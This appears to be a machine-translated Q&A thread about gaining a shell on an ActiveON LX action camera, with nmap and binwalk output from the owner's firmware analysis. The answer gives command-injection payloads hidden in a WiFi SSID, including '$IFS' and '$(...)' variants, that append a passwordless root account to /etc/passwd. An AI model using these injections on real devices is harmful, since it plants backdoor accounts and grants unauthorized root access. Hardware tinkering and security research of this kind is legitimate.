试图在嵌入式设备上获取 shell。分析固件更新，听Android应用程序，没有骰子。建议？

逆向工程 固件 嵌入式
2021-06-30 23:59:43

我有一个 ActiveON LX 运动相机，即 GoPro ersatz。它带有一个 Android 应用程序来控制它，它通过运行自己的 WiFi AP 来实现手机连接。电话连接后，它会使用各种端点通过 HTTP 来命令相机。

它使用运行 buildroot 的 Ambarella SoC。

我端口扫描了相机：它有一个在 tcp/23 上运行的 telnet 服务器和一个在 tcp/80 上运行的网络服务器（切诺基）。它在 tcp/7878 上也有某种 Java RPC 服务器，但我对 Java 或如何使用它不太了解。

$ nmap -A -T4 192.168.42.1 -p 1-65535

Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-15 22:02 EDT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
stty: stdin isn't a terminal
stty: stdin isn't a terminal
Nmap scan report for 192.168.42.1
Host is up (0.0041s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE    VERSION
23/tcp   open  telnet     BusyBox telnetd
53/tcp   open  domain     dnsmasq 2.59
| dns-nsid:
|_  bind.version: dnsmasq-2.59
80/tcp   open  http       Cherokee httpd 1.2.101b141103_
|_http-server-header: Cherokee/1.2.101b141103_ (UNIX)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
7877/tcp open  tcpwrapped
7878/tcp open  unknown
Service Info: Host: buildroot; OS: Unix

我试图通过 telnet 服务器进入它，但我不知道用户/密码。他们更改了默认的 root 密码，使用root空白密码不允许我进入。

我希望 Android 应用程序能够使用 telnet 连接，所以我嗅探了应用程序和相机之间的流量，但它只是 HTTP。

所以我想我会四处看看固件更新。

我正在查看这两个二进制文件：http : //www.activeon.com/wp/adm_product/firmware_file/lx/V3.2.0/R2_v320_150212.UGF和http://www.activeon.com/wp/wp-content/上传/2014/12/LX_v3.15.UGF

这两个文件的长度完全相同，均为 45,281,280 字节，但内容不同（使用 验证sha1sum）。

Binwalk 似乎认为这些固件更新中有很多文件（除非我误读了输出）：

$ binwalk /Downloads/R2_v320_150212.UGF

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
121908        0x1DC34         CRC32 polynomial table, little endian
127773        0x1F31D         Copyright string: "Copyright (C) 2004-2007"
1223000       0x12A958        CRC32 polynomial table, little endian
1271084       0x13652C        Copyright string: "Copyright (C) 2004-2007"
1273818       0x136FDA        Unix path: /../../sv/a5s/image/ambhal.bin"
1273861       0x137005        Unix path: /../../sv/a5s/image/ambhal.info"
1274105       0x1370F9        Unix path: /../../../boss_sdk/output.oem/images/Image"
1274166       0x137136        Unix path: /../../src/linuxinfo/kernel.info"
1274419       0x137233        Unix path: /../../gui/boss_dv/romfs/a5s_ft_parallel.romfs"
1274480       0x137270        Unix path: /../../gui/boss_dv/romfs/romfs.info"
1274813       0x1373BD        Unix path: /../../../boss_sdk/output.oem/images/rootfs.ubi"
1274873       0x1373F9        Unix path: /../../src/linuxinfo/ubifs.info"
1274960       0x137450        Unix path: /../../src/linuxinfo/ambernation.img"
1275009       0x137481        Unix path: /../../src/linuxinfo/ambernation.info"
1307492       0x13F364        Unix path: /usr/local/share/script/wowlan.sh
2218252       0x21D90C        Unix path: /usr/local/share/script/wifi_start.sh
2323638       0x2374B6        Unix path: /ambtwsvn2/svn/audio/trunk/audio2/AAC_DEC/ARM_9
2326438       0x237FA6        Unix path: /ambtwsvn2/svn/audio/trunk/audio2/ADPCM_DEC/ARM_9
2326806       0x238116        Unix path: /ambtwsvn2/svn/audio/trunk/CAVLC/ARM_11
2644236       0x28590C        LZMA compressed data, properties: 0x64, dictionary size: 33554432 bytes, uncompressed size: 512 bytes
3574898       0x368C72        Unix path: /ambtwsvn2/svn/audio/trunk/audio2/AAC_ENC/ARM_9
3577214       0x36957E        Unix path: /ambtwsvn2/svn/audio/trunk/audio2/ADPCM_ENC/ARM_9
4148260       0x3F4C24        Neighborly text, "neighbor point left:ing calibration map..."
4148284       0x3F4C3C        Neighborly text, "neighbor point right:"
4398826       0x431EEA        Executable script, shebang: "/bin/sh' > /tmp/ap_start.sh"
4399322       0x4320DA        Unix path: /usr/local/share/script/load.sh' >> /tmp/ap_start.sh
4399714       0x432262        Executable script, shebang: "/bin/sh' > /tmp/ap_stop.sh"
4536526       0x4538CE        Unix path: /ambtwsvn2/svn/audio/trunk/CAVLD/ARM_11
5391847       0x5245E7        Unix path: /a/s/d/i]=%d/%d/%d/%d/%d
5460823       0x535357        LZMA compressed data, properties: 0xC0, dictionary size: 65536 bytes, uncompressed size: 131072 bytes
5460975       0x5353EF        LZMA compressed data, properties: 0xC0, dictionary size: 65536 bytes, uncompressed size: 131072 bytes
5461035       0x53542B        LZMA compressed data, properties: 0xC0, dictionary size: 65536 bytes, uncompressed size: 131072 bytes
5461095       0x535467        LZMA compressed data, properties: 0xC0, dictionary size: 65536 bytes, uncompressed size: 131072 bytes
5699789       0x56F8CD        LZMA compressed data, properties: 0x88, dictionary size: 65536 bytes, uncompressed size: 196608 bytes
5708635       0x571B5B        LZMA compressed data, properties: 0xC0, dictionary size: 16777216 bytes, uncompressed size: 256 bytes
6431706       0x6223DA        LZMA compressed data, properties: 0xB8, dictionary size: 16777216 bytes, uncompressed size: 62464 bytes
6431754       0x62240A        LZMA compressed data, properties: 0xB8, dictionary size: 33554432 bytes, uncompressed size: 59904 bytes
6431802       0x62243A        LZMA compressed data, properties: 0xB8, dictionary size: 33554432 bytes, uncompressed size: 58880 bytes
6431850       0x62246A        LZMA compressed data, properties: 0xB8, dictionary size: 33554432 bytes, uncompressed size: 56320 bytes
6431898       0x62249A        LZMA compressed data, properties: 0xB8, dictionary size: 33554432 bytes, uncompressed size: 56320 bytes
6461019       0x62965B        LZMA compressed data, properties: 0xC0, dictionary size: 65536 bytes, uncompressed size: 200 bytes
6513410       0x636302        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 65538 bytes
6564456       0x642A68        YAFFS filesystem
6697660       0x6632BC        ASCII cpio archive (SVR4 with no CRC), file name: "dev", file name length: "0x00000004", file size: "0x00000000"
6697776       0x663330        ASCII cpio archive (SVR4 with no CRC), file name: "dev/console", file name length: "0x0000000C", file size: "0x00000000"
6697900       0x6633AC        ASCII cpio archive (SVR4 with no CRC), file name: "root", file name length: "0x00000005", file size: "0x00000000"
6698016       0x663420        ASCII cpio archive (SVR4 with no CRC), file name: "TRAILER!!!", file name length: "0x0000000B", file size: "0x00000000"
8732501       0x853F55        Certificate in DER format (x509 v3), header length: 4, sequence length: 1284
10055769      0x997059        Certificate in DER format (x509 v3), header length: 4, sequence length: 1328
10055773      0x99705D        Certificate in DER format (x509 v3), header length: 4, sequence length: 1292
10055777      0x997061        Certificate in DER format (x509 v3), header length: 4, sequence length: 1312
10209925      0x9BCA85        Certificate in DER format (x509 v3), header length: 4, sequence length: 1464
10379388      0x9E607C        Linux kernel version "2.6.38.8 (kjp@ntek-linux-server) (gcc version 4.4.1 (Sourcery G++ Lite 2009q3-67) ) #1 PREEMPT Mon Nov 3 21:17:07 KST 2014"
10409076      0x9ED474        gzip compressed data, maximum compression, from Unix, last modified: 2014-11-03 12:16:24
10506132      0xA04F94        LZO compressed data
10512276      0xA06794        CRC32 polynomial table, little endian
10525445      0xA09B05        LZMA compressed data, properties: 0x65, dictionary size: 8388608 bytes, uncompressed size: 1048576 bytes
10948832      0xA710E0        Unix path: /arm/plat-ambarella/boss/../generic/adc.c
10950128      0xA715F0        Unix path: /arm/plat-ambarella/boss/../generic/gpio.c
10950456      0xA71738        Unix path: /arm/plat-ambarella/boss/init.c
10951032      0xA71978        Unix path: /arm/plat-ambarella/boss/irq.c
10952360      0xA71EA8        Unix path: /arm/plat-ambarella/boss/pm.c
10953952      0xA724E0        Unix path: /arm/plat-ambarella/boss/../generic/rct/a5s.c
10954212      0xA725E4        Unix path: /arm/plat-ambarella/boss/../generic/rtc.c
10954344      0xA72668        Unix path: /arm/plat-ambarella/boss/../generic/sd.c
10954600      0xA72768        Unix path: /arm/plat-ambarella/boss/boss.c
10954944      0xA728C0        Unix path: /arm/plat-ambarella/misc/ambfb.c
10955756      0xA72BEC        Unix path: /arm/plat-ambarella/misc/atag.c
11032304      0xA856F0        Unix path: /proc/fs/cifs/SecurityFlags
11032717      0xA8588D        Unix path: /proc/fs/cifs/SecurityFlags.
11040658      0xA87792        Unix path: /proc/fs/cifs/LookupCacheEnabled to 0
11100704      0xA96220        xz compressed data
11168736      0xAA6BE0        Unix path: /arm/plat-ambarella/include/mach/io.h
12475632      0xBE5CF0        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: MD5 hash
13826304      0xD2F900        JPEG image data, JFIF standard 1.01
13871360      0xD3A900        JPEG image data, JFIF standard 1.01
13885696      0xD3E100        JPEG image data, JFIF standard 1.02
13889792      0xD3F100        JPEG image data, JFIF standard 1.02
13891840      0xD3F900        JPEG image data, JFIF standard 1.02
14108844      0xD748AC        Certificate in DER format (x509 v3), header length: 4, sequence length: 576
14109424      0xD74AF0        Certificate in DER format (x509 v3), header length: 4, sequence length: 704
14110132      0xD74DB4        Certificate in DER format (x509 v3), header length: 4, sequence length: 717
14110853      0xD75085        Certificate in DER format (x509 v3), header length: 4, sequence length: 2228
14111022      0xD7512E        Digi International firmware, load address: 0x204D6963, entry point: 0x66742053,
14112181      0xD755B5        Copyright string: "Copyright (c)1996 VeriSign, Inc.  All Rights Reserved. CERTAIN"
15629693      0xEE7D7D        MySQL MISAM compressed data file Version 5
15629905      0xEE7E51        MySQL MISAM compressed data file Version 9
15650089      0xEECD29        MySQL MISAM compressed data file Version 4
15696517      0xEF8285        MySQL MISAM compressed data file Version 4
15696541      0xEF829D        MySQL MISAM compressed data file Version 4
15696597      0xEF82D5        MySQL MISAM compressed data file Version 4
16615436      0xFD880C        LZMA compressed data, properties: 0x9A, dictionary size: 262144 bytes, uncompressed size: 299111512 bytes
17325931      0x1085F6B       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vout.c:%d failed.
17326177      0x1086061       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vout.c:%d failed.
17331807      0x108765F       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vout.c:%d failed.
17332115      0x1087793       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vout.c:%d failed.
17332605      0x108797D       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vout.c:%d failed.
17333091      0x1087B63       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vout.c:%d failed.
17333728      0x1087DE0       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_display.c:%d failed.
17334022      0x1087F06       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_display.c:%d failed.
17343657      0x108A4A9       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_display.c:%d failed.
17343817      0x108A549       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.
17344031      0x108A61F       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.
17345518      0x108ABEE       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.
17345965      0x108ADAD       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.
17346442      0x108AF8A       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.
17346547      0x108AFF3       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.
17346825      0x108B109       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.
17347072      0x108B200       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.
17347811      0x108B4E3       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_sched.c:%d failed.
17348053      0x108B5D5       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_sched.c:%d failed.
17348232      0x108B688       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_sched.c:%d failed.
17350016      0x108BD80       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_sched.c:%d failed.
17350253      0x108BE6D       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_sched.c:%d failed.
17351220      0x108C234       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_sched.c:%d failed.
17351648      0x108C3E0       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_sched.c:%d failed.
17351968      0x108C520       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_api.c:%d failed.
17352747      0x108C82B       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_api.c:%d failed.
17353891      0x108CCA3       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_api.c:%d failed.
17354102      0x108CD76       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_api.c:%d failed.
17357134      0x108D94E       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_api.c:%d failed.
17360809      0x108E7A9       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_api.c:%d failed.
17371600      0x10911D0       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.
17372514      0x1091562       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.
17372819      0x1091693       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.
17374604      0x1091D8C       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.
17374934      0x1091ED6       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.
17375922      0x10922B2       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.
17376322      0x1092442       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.
17379091      0x1092F13       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.
17379478      0x1093096       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.
17380115      0x1093313       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_decode.c:%d failed.
17380498      0x1093492       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.
17380775      0x10935A7       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.
17381548      0x10938AC       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.
17381725      0x109395D       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.
17382031      0x1093A8F       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.
17382208      0x1093B40       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.
17382380      0x1093BEC       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.
17382555      0x1093C9B       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.
17382722      0x1093D42       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_fbufs.c:%d failed.
17386590      0x1094C5E       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_postp.c:%d failed.
17388309      0x1095315       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_jdec.c:%d failed.
17388520      0x10953E8       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_jdec.c:%d failed.
17396295      0x1097247       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_jdec.c:%d failed.
17397243      0x10975FB       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_jdec.c:%d failed.
17397895      0x1097887       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_jdec.c:%d failed.
17400332      0x109820C       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vld.c:%d failed.
17400594      0x1098312       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vld.c:%d failed.
17400906      0x109844A       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_jenc.c:%d failed.
17405011      0x1099453       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_parset.c:%d failed.
17406360      0x1099998       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_mbufs.c:%d failed.
17408094      0x109A05E       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_mbufs.c:%d failed.
17412604      0x109B1FC       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_mixer.c:%d failed.
18014464      0x112E100       UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x200, data offset: 0x800

另一个文件有一个类似的 binwalk 输出，但由于消息长度限制我不能把它放在这里。

我尝试使用-e提取文件的选项运行 binwalk 。我收到了很多名称似乎是十六进制地址的文件，但它们与 binwalk 输出不匹配。大多数文件被错误识别，7z文件因损坏而无法解压缩，crt文件也无效。34.9MB 的文件9ED474.gz解压为 46KB 的文件...

$ ll _R2_v320_150212.UGF.extracted/
total 2057240
drwxr-xr-x   34 me  staff      1156 Jul 15 21:44 .
drwxr-xr-x  276 me  staff      9384 Jul 15 21:43 ..
-rw-r--r--@   1 me  staff      6148 Jul 15 21:44 .DS_Store
-rw-r--r--    1 me  staff  27266816 Jul 15 21:44 112E100.ubi
-rw-r--r--    1 me  staff  42637044 Jul 15 21:43 28590C.7z
-rw-r--r--    1 me  staff  39820457 Jul 15 21:43 535357.7z
-rw-r--r--    1 me  staff  39820305 Jul 15 21:43 5353EF.7z
-rw-r--r--    1 me  staff  39820245 Jul 15 21:43 53542B.7z
-rw-r--r--    1 me  staff  39820185 Jul 15 21:43 535467.7z
-rw-r--r--    1 me  staff  39581491 Jul 15 21:43 56F8CD.7z
-rw-r--r--    1 me  staff  39572645 Jul 15 21:43 571B5B.7z
-rw-r--r--    1 me  staff  38849574 Jul 15 21:43 6223DA.7z
-rw-r--r--    1 me  staff  38849526 Jul 15 21:43 62240A.7z
-rw-r--r--    1 me  staff  38849478 Jul 15 21:43 62243A.7z
-rw-r--r--    1 me  staff  38849430 Jul 15 21:43 62246A.7z
-rw-r--r--    1 me  staff  38849382 Jul 15 21:43 62249A.7z
-rw-r--r--    1 me  staff  38820261 Jul 15 21:43 62965B.7z
-rw-r--r--    1 me  staff  38767870 Jul 15 21:43 636302.7z
-rw-r--r--    1 me  staff  38583620 Jul 15 21:43 6632BC.cpio
-rw-r--r--    1 me  staff  36548779 Jul 15 21:43 853F55.crt
-rw-r--r--    1 me  staff  35225511 Jul 15 21:43 997059.crt
-rw-r--r--    1 me  staff  35225507 Jul 15 21:43 99705D.crt
-rw-r--r--    1 me  staff  35225503 Jul 15 21:43 997061.crt
-rw-r--r--    1 me  staff  35071355 Jul 15 21:43 9BCA85.crt
-rw-r--r--    1 me  staff     40960 Jul 15 21:43 9ED474
-rw-r--r--    1 me  staff  34872204 Jul 15 21:43 9ED474.gz
-rw-r--r--    1 me  staff  34755835 Jul 15 21:43 A09B05.7z
-rw-r--r--    1 me  staff  34180576 Jul 15 21:43 A96220.xz
-rw-r--r--    1 me  staff  31172436 Jul 15 21:43 D748AC.crt
-rw-r--r--    1 me  staff  31171856 Jul 15 21:44 D74AF0.crt
-rw-r--r--    1 me  staff  31171148 Jul 15 21:44 D74DB4.crt
-rw-r--r--    1 me  staff  31170427 Jul 15 21:44 D75085.crt
-rw-r--r--    1 me  staff  28665844 Jul 15 21:44 FD880C.7z
drwxr-xr-x    2 me  staff        68 Jul 15 21:43 cpio-root

二进制固件更新补丁还是完整映像？我的下一步是什么？固件中似乎有一些 python 文件（通过使用 转储内容观察到strings）所以也许我可以修改其中一个文件来让我访问/？或者，也许我可以制作自己的固件更新文件并运行 bash 脚本以将自定义用户和密码附加到/etc/passwd?

相机内部可能有一个 JTAG 连接器，但我不想把它拆开。

我是新手，但我觉得它非常令人兴奋。我希望有更多经验的人可以为我指明正确的方向:)

谢谢！

1个回答

试试这个：在设备附近创建一个网络，称为：

`echo a::0:0::/:/bin/sh>>/etc/passwd`

替代方案可能效果更好：

`echo$IFSa::0:0::/:/bin/sh>>/etc/passwd`

或者不是在任一侧使用 `，您可以执行以下操作：

$(echo$IFSa::0:0::/:/bin/sh>>/etc/passwd)

形成网络名称后，尝试让您的设备加入此网络。如果是真实网络（即使用真实路由器），则您可以查看设备是否加入网络。如果是这样，请尝试使用登录名“a”且没有密码登录。如果它不起作用，则重新加入设置网络即ActiveON_SETUP123或其他网络，然后查看您现在是否可以登录。如果它不起作用，则尝试下一个命令等。

说明：幸运的话，您的设备正在运行 shell 命令以加入网络。我们希望可以利用 bash 的 `shell_command` 和 $(shell_command) 特性让它做我们想做的事！

$IFS 部分用于解析空格或无缘无故地阻塞空格。通常 $IFS 会被扩展为一个空间。:)

其它你可能感兴趣的问题
上一篇这条 sbb 指令的结果是什么？ 下一篇逆向工程师STM32L151的固件